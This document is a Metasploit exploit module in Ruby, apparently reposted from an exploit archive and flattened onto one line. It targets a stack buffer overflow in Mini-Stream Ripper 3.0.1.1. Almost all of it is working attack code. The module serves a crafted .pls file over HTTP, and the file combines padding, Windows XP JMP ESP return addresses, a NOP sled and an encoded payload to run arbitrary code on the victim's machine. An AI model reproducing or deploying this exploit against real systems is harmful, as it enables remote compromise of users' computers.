Mini-stream Ripper 3.0.1.1 – Local Buffer Overflow (Metasploit) (3)
## # $Id: mini_stream.rb 14155 2011-11-04 08:20:43Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit', 'Description' => %q{ This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1 By creating a specially crafted pls file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'CORELAN Security Team ', 'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update ], 'Version' => '$Revision: 14155 $', 'References' => [ [ 'OSVDB', '61341' ], [ 'URL', 'http://www.exploit-db.com/exploits/10745' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 3500, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 ENG', { 'Ret' => 0x7e429353, # 0x7e429353 JMP ESP - USER32.dll 'Offset' => 17417 } ], [ 'Windows XP SP2 ENG', { 'Ret' => 0x7c941eed, # 0x7c941eed JMP ESP - SHELL32.dll 'Offset' => 17417 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 25 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('URIPATH', [ true, 'The URI to use for this exploit', 'msf.pls']) ], self.class) end def on_request_uri(cli, request) # Calculate the correct offset host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] host << ":#{datastore['SRVPORT']}/" offset = target['Offset'] - host.length # Construct our buffer sploit = rand_text_alpha(offset) sploit << [target.ret].pack('V') sploit << make_nops(32) sploit << @p print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...") send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'}) end def exploit @p = payload.encoded super end end |